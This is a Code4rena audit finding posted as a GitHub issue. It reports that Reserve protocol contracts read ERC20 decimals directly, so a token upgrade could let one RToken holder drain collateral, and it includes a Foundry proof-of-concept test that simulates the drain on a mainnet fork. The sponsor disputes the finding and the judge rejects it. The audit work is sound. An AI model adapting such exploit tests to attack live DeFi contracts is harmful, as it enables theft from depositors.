search

code-423n4 / 2024-07-reserve-findings

5 stars 4 forks source link

Collateral tokens upgrades to different decimals break accounting #20

Closed c4-bot-9 closed 2 months ago

c4-bot-9 commented 3 months ago

Lines of code

https://github.com/code-423n4/2024-07-reserve/blob/3f133997e186465f4904553b0f8e86ecb7bbacbf/contracts/p1/BasketHandler.sol#L508 https://github.com/code-423n4/2024-07-reserve/blob/3f133997e186465f4904553b0f8e86ecb7bbacbf/contracts/plugins/trading/DutchTrade.sol#L367 https://github.com/code-423n4/2024-07-reserve/blob/main/contracts/plugins/trading/GnosisTrade.sol#L127

Vulnerability details

The protocol manages most token quantities with a fixed-point representation based on the decimal places reported by the ERC20 token.

It is possible that an ERC token contract upgrade varies the number of reported decimals in the token, and the protocol handles this situation well in most places, thanks to the practice of relying on the erc20Decimals value cached, and guaranteed to be stable, by the IAsset contracts.

There are however several places where IERC20.decimals is used instead, listed in the Links to affected code section. Among these, there is the BasketHandler.quote logic.

Impact

The most impactful among the reported instances is the BasketHandler.quote logic. As shown in the below PoC, a change in ERC20 collateral decimals can result in RToken redeemers to receive more collateral than they should, at the expense of the protocol and its other participants.

Proof of Concept

The following PoC (Foundry) shows how a change in Decimals reported by a collateral allows one RToken holder to drain the Collateral backing the holding of other holders.

Coded PoC ```Solidity pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "contracts/plugins/assets/FiatCollateral.sol"; import "contracts/registry/RoleRegistry.sol"; import "contracts/registry/VersionRegistry.sol"; import "contracts/p1/Deployer.sol"; import "contracts/p1/Main.sol"; import "contracts/p1/RToken.sol"; import "contracts/p1/StRSRVotes.sol"; import "contracts/p1/AssetRegistry.sol"; import "contracts/p1/BasketHandler.sol"; import "contracts/p1/BackingManager.sol"; import "contracts/p1/Distributor.sol"; import "contracts/p1/Furnace.sol"; import "contracts/p1/Broker.sol"; import "contracts/p1/RevenueTrader.sol"; import "contracts/p1/RToken.sol"; contract Poc2 is Test { IERC20 collTok = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); FiatCollateral coll = FiatCollateral(0x442f8fc98e3cc6B3d49a66f9858Ac9B6e70Dad3e); AggregatorV3Interface collFeed = AggregatorV3Interface(0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6); address collWhale = 0x4B16c5dE96EB2117bBE5fd171E4d203624B014aa; RTokenP1 rToken; function testPoc() public { // Ashley deposits some tokens address ashley = address(0x1000); vm.startPrank(collWhale); collTok.transfer(ashley, 90e6); vm.startPrank(ashley); collTok.approve(address(rToken), 90e6); rToken.issue(90e18); // Brian deposits some more address brian = address(0x2000); vm.startPrank(collWhale); collTok.transfer(brian, 10e6); vm.startPrank(brian); collTok.approve(address(rToken), 10e6); rToken.issue(10e18); // The collateral is upgraded with new decimal settings vm.mockCall(address(collTok), abi.encodeWithSelector(IERC20Metadata.decimals.selector), abi.encode(7) ); // Brian redeems their 10% of the shares rToken.redeem(10e18); // but 100% of the collateral is gone assertEq(0, collTok.balanceOf(address(rToken.main().backingManager()))); assertFalse(rToken.main().basketHandler().fullyCollateralized()); } function setUp() public { vm.createSelectFork( "https://eth.llamarpc.com", 20546932 ); Implementations memory implementations; MainP1 mi = new MainP1(); vm.label(address(mi), "Main (impl)"); implementations.main = mi; // Prepare the implementations { RTokenP1 rTokenImpl = new RTokenP1 (); vm.label(address(rTokenImpl), "rToken (impl)"); implementations.components.rToken = rTokenImpl; StRSRP1Votes stRSRImpl = new StRSRP1Votes (); vm.label(address(stRSRImpl), "stRSRVotes (impl)"); implementations.components.stRSR = stRSRImpl; AssetRegistryP1 assetRegistryImpl = new AssetRegistryP1 (); vm.label(address(assetRegistryImpl), "assetRegistry (impl)"); implementations.components.assetRegistry = assetRegistryImpl; BasketHandlerP1 basketHandlerImpl = new BasketHandlerP1 (); vm.label(address(basketHandlerImpl), "basketHandler (impl)"); implementations.components.basketHandler = basketHandlerImpl; BackingManagerP1 backingManagerImpl = new BackingManagerP1 (); vm.label(address(backingManagerImpl), "backingManager (impl)"); implementations.components.backingManager = backingManagerImpl; DistributorP1 distributorImpl = new DistributorP1 (); vm.label(address(distributorImpl), "distributor (impl)"); implementations.components.distributor = distributorImpl; FurnaceP1 furnaceImpl = new FurnaceP1(); vm.label(address(furnaceImpl), "furnace (impl)"); implementations.components.furnace = furnaceImpl; BrokerP1 brokerImpl = new BrokerP1(); vm.label(address(brokerImpl), "broker (impl)"); implementations.components.broker = brokerImpl; RevenueTraderP1 revenueTraderP1 = new RevenueTraderP1(); vm.label(address(revenueTraderP1), "revenueTrader (impl)"); implementations.components.rsrTrader = revenueTraderP1; implementations.components.rTokenTrader = revenueTraderP1; GnosisTrade gtImpl = new GnosisTrade(); vm.label(address(gtImpl), "GnosisTrade (impl)"); implementations.trading.gnosisTrade = gtImpl; DutchTrade dtImpl = new DutchTrade(); vm.label(address(dtImpl), "DutchTrade (impl)"); implementations.trading.dutchTrade = dtImpl; } DeployerP1 deployer = new DeployerP1( IERC20Metadata(0x320623b8E4fF03373931769A31Fc52A4E78B5d70), IGnosis(0x0b7fFc1f4AD541A4Ed16b40D8c37f0929158D101), IAsset(0x591529f039Ba48C3bEAc5090e30ceDDcb41D0EaA), implementations ); // Prepare the RToken { DeploymentParams memory dp; dp.dist.rTokenDist = 0; dp.dist.rsrDist = 1e4; dp.minTradeVolume = 1e18; dp.rTokenMaxTradeVolume = 100e18; dp.shortFreeze = 1 days; dp.longFreeze = 30 days; dp.rewardRatio = 1e14; dp.unstakingDelay = 1 weeks; dp.withdrawalLeak = 0; dp.warmupPeriod = 1 weeks; dp.reweightable = false; dp.enableIssuancePremium = false; dp.tradingDelay = 0; dp.batchAuctionLength = 1 days; dp.dutchAuctionLength = 1 days; dp.backingBuffer = 0; dp.maxTradeSlippage = 0.01e18; dp.issuanceThrottle.amtRate = 1000e18; dp.issuanceThrottle.pctRate = 0; dp.redemptionThrottle.amtRate = 1000e18; dp.redemptionThrottle.pctRate = 0; rToken = RTokenP1(deployer.deploy( "tst Token", "TST", "Help the humble RadiantLabs team prove a concept O_O", address(this), dp )); } // Configure the basket { rToken.main().assetRegistry().register(coll); IERC20[] memory erc20s = new IERC20[](1); erc20s[0] = IERC20(address(collTok)); uint192[] memory amounts = new uint192[](1); amounts[0] = 1e18; rToken.main().basketHandler().setPrimeBasket( erc20s, amounts ); rToken.main().basketHandler().refreshBasket(); this.skip_(BasketHandlerP1(address(rToken.main().basketHandler())).warmupPeriod() + 1); rToken.main().assetRegistry().refresh(); } } function skip_(uint duration) public { uint newTs = block.timestamp + duration; vm.mockCall(address(collFeed), abi.encodeWithSelector(AggregatorV3Interface.latestRoundData.selector), abi.encode( uint80(1), // roundId 99994127, // answer newTs, // startedAt newTs, // updatedAt uint80(1) // answeredInRound )); vm.warp(newTs); } } ```

Tools Used

Code review, Foundry

Recommended Mitigation Steps

Consider adapting all token amounts conversion to decimals to use IAsset.erc20Decimals instead of IERC20.decimals.

Assessed type

ERC20

akshatmittal commented 2 months ago

The token upgrade which changes decimals is very unlikely, to a point that I don't think this is a realistic case. Additionally, you can just swap the registered Asset to fix it entirely.

c4-judge commented 2 months ago

thereksfour marked the issue as unsatisfactory: Insufficient proof